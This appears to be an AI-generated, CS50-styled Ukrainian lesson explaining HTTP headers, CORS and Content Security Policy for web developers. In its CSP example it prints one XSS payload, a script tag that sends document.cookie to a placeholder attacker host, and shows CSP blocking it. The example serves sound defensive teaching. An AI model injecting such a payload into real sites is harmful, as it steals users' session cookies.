Модуль 28

Безпека: headers, CORS, CSP

Ось готовий урок, створений за твоїм майстер-промптом.


🎓 CS50: Безпека веб-застосунків (Headers, CORS, CSP)

1. 🔥 Вступ: Коли браузер каже "Ні"

Уявіть собі ситуацію. Ви написали геніальний Frontend на React, запустили його на localhost:3000. Поруч працює ваш потужний Backend на Python або Node.js на порті 5000.

Ви робите простий запит fetch('http://localhost:5000/api/users'), щоб отримати список користувачів. Ви очікуєте побачити JSON.

Але замість даних ваша консоль вибухає червоним текстом: 🚨 "Access to fetch at... has been blocked by CORS policy".

Ви в розпачі. Чому? Це ж ваш комп’ютер! Це ваш код! Чому один ваш скрипт не може поговорити з іншим вашим скриптом?

Тут ви стикаєтеся з Браузером. Браузер — це не просто вікно в інтернет. Це параноїдальний охоронець нічного клубу. Його головна задача — не дати "поганим хлопцям" (зловмисним сайтам) вкрасти ваші дані (куки, паролі, сесії).

Сьогодні ми розберемося, як домовитися з цим охоронцем. Ми поговоримо про: 1. Headers — мову спілкування з браузером. 2. CORS — візу для подорожей між доменами. 3. CSP — бронежилет від ін'єкцій коду.

Без цих знань ви будете або писати дірявий код, або вічно гуглити помилки консолі. Готові зазирнути під капот? Поїхали!


2. 🧠 Теоретична база (Як це працює під капотом)

Давайте спростимо. Інтернет працює на протоколі HTTP. Це як обмін поштовими листами. У листі є тіло (сам контент: HTML, JSON, картинка) і є конверт з технічною інформацією.

📨 HTTP Headers (Заголовки)

Заголовки — це написи на конверті. Коли сервер відправляє вам сторінку, він не просто кидає HTML. Він додає інструкції для браузера: * "Кешуй це на годину". * "Це секретно, не показуй нікому". * "Це JSON, а не картинка".

Інтуїтивно: Заголовки — це метадані. Це правила гри для конкретного запиту.


🛂 CORS (Cross-Origin Resource Sharing)

За замовчуванням у браузерах діє Same-Origin Policy (SOP). Це "Правило одного двору". Якщо ви на сайті mybank.com, скрипти можуть звертатися тільки до mybank.com.

Чому? Уявіть, що ви зайшли на evil-site.com. Без цього правила evil-site.com міг би відправити запит на facebook.com від вашого імені, прочитати ваші повідомлення і відправити їх хакеру. SOP це забороняє.

А що таке CORS? Це спосіб послабити це правило. Це коли сервер facebook.com каже браузеру: "Слухай, я знаю сайт cool-app.com. Йому можна брати мої дані. Іншим — ні".

Запам’ятати: CORS налаштовується на сервері (бекенді), але перевіряється браузером.


🛡 CSP (Content Security Policy)

Якщо CORS захищає вас "зовні" (хто може до вас стукати), то CSP захищає вас "зсередини".

Це білий список (whitelist). Ви кажете браузеру: "На моїй сторінці дозволено завантажувати картинки тільки з мого домену і з google.com. Скрипти — тільки з мого домену. Все інше — блокуй!"

Це головний захист від XSS (Cross-Site Scripting) — коли хакер намагається вставити свій шкідливий JS-код на вашу сторінку.


3. 🧪 Приклади (Від простого до реального)

Приклад 1: Заголовки в дії

Уявіть, що ми відправляємо відповідь із сервера.

Питання до вас: Що побачить браузер, якщо ми відправимо таке?

HTTP/1.1 200 OK
Content-Type: text/html

Відповідь: Він відобразить HTML сторінку.

А якщо ми змінимо лише один заголовок?

HTTP/1.1 200 OK
Content-Type: application/json

Результат: Браузер (або Postman) сприйме це як дані (JSON-об'єкт), навіть якщо тіло відповіді однакове. Заголовок визначає контекст!


Приклад 2: CORS "Пекло" і порятунок

Ви на site-a.com. Робите запит на api.site-b.com.

Що відбувається: 1. Браузер бачить, що домени різні. 2. Він відправляє Preflight Request (розвідник). Це запит методом OPTIONS. 3. Він запитує сервер api.site-b.com: "Гей, чи дозволяєш ти site-a.com читати твої дані?"

Сценарій А (Помилка): Сервер мовчить або не має заголовків CORS. 🔥 Браузер: "Небезпечно! Блокую!"

Сценарій Б (Успіх): Сервер api.site-b.com відповідає заголовком: Access-Control-Allow-Origin: https://site-a.com

✅ Браузер: "Ок, сервер дав дозвіл. Ось твої дані, site-a.com."


Приклад 3: CSP проти Хакера

Хакер знайшов дірку у вашій формі коментарів і написав там: <script>fetch('http://hacker.com?cookie=' + document.cookie)</script>

Якщо цей коментар відобразиться у іншого користувача, скрипт виконається і вкраде куки.

Але! Ви налаштували CSP заголовок: Content-Security-Policy: default-src 'self';

Результат: Браузер побачить спробу звернутися до hacker.com. Він звірить це з правилом 'self' (тільки рідний домен). 🔥 Браузер: "Запит на hacker.com заблоковано політикою CSP!" Користувач врятований, хакер плаче.


4. 🛠 Практична частина

Час забруднити руки. Спробуйте виконати ці завдання (можна подумки або в реальному коді):

  1. 🕵️‍♂️ Детектив: Відкрийте DevTools (F12) прямо зараз на цій сторінці. Перейдіть у вкладку Network. Оновіть сторінку. Клацніть на найперший запит (зазвичай це сама сторінка). Знайдіть розділ Response Headers. Знайдіть там Content-Type або Cache-Control. Що вони роблять?
  2. 🔧 Ремонтник: У вас є API, яке повертає помилку CORS для вашого фронтенду. Який один рядок коду (концептуально) треба додати на бекенді, щоб дозволити доступ для всіх (хоча це і небезпечно)?
    • Підказка: Access-Control-Allow-Origin: ...
  3. 🛡 Архітектор безпеки: Складіть CSP-політику (рядок тексту) для сайту, який:
    • Завантажує свої скрипти (self).
    • Використовує шрифти від Google (fonts.googleapis.com).
    • Забороняє все інше.
  4. 🤔 А що, якщо... Ви налаштували CORS, дозволивши site-a.com. Але користувач намагається зробити запит з мобільного додатка (Postman / iOS). Чи спрацює CORS?
    • Підказка: CORS — це механізм браузера. Чи перевіряє Postman заголовки безпеки так само?

5. 💡 Мислення як у розробника

Як відрізнити новачка від профі в темі безпеки?

❌ Новачок: * Бачить помилку CORS і ставить розширення в Chrome, яке відключає CORS, щоб "просто запрацювало". (Це працює тільки у нього локально, клієнти потім страждають). * На бекенді ставить Access-Control-Allow-Origin: * (дозволити всім), бо ліньки розбиратися. Це як залишити ключі від квартири під килимком. * Використовує unsafe-inline в CSP, бо "скрипти не працюють".

✅ Досвідчений інженер: * Розуміє, що CORS — це захист користувача, а не перешкода для розробника. * Налаштовує білі списки доменів. * Використовує CSP як "страховку". Якщо я десь помилився в коді і допустив XSS, CSP не дасть хакеру вивести дані. Це принцип Defense in Depth (глибокий захист).

Порада: Читайте заголовки. Це перше, що робить хакер, досліджуючи ваш сайт. І це перше, що маєте робити ви, коли щось йде не так.


6. 🧩 Підсумок

Отже, що ми сьогодні розібрали?

  1. Headers — це інструкції для браузера, як поводитися з даними.
  2. CORS — це "фейс-контроль" на вході в ваш API для інших сайтів.
  3. CSP — це правила поведінки всередині вашого сайту (куди можна ходити, а куди ні).

Тепер ви не просто "фіксите баги", ви розумієте філософію безпеки вебу. Ви знаєте, чому браузер лається червоним, і знаєте, як його заспокоїти правильно.

🔍 Що далі? Ми захистили периметр. Але як серверу дізнатися, хто саме стукає у двері, навіть якщо йому дозволено? У наступному уроці ми поговоримо про Аутентифікацію, токени та JWT. Готуйте свої паспорти!


👋 Це був CS50. Побачимось!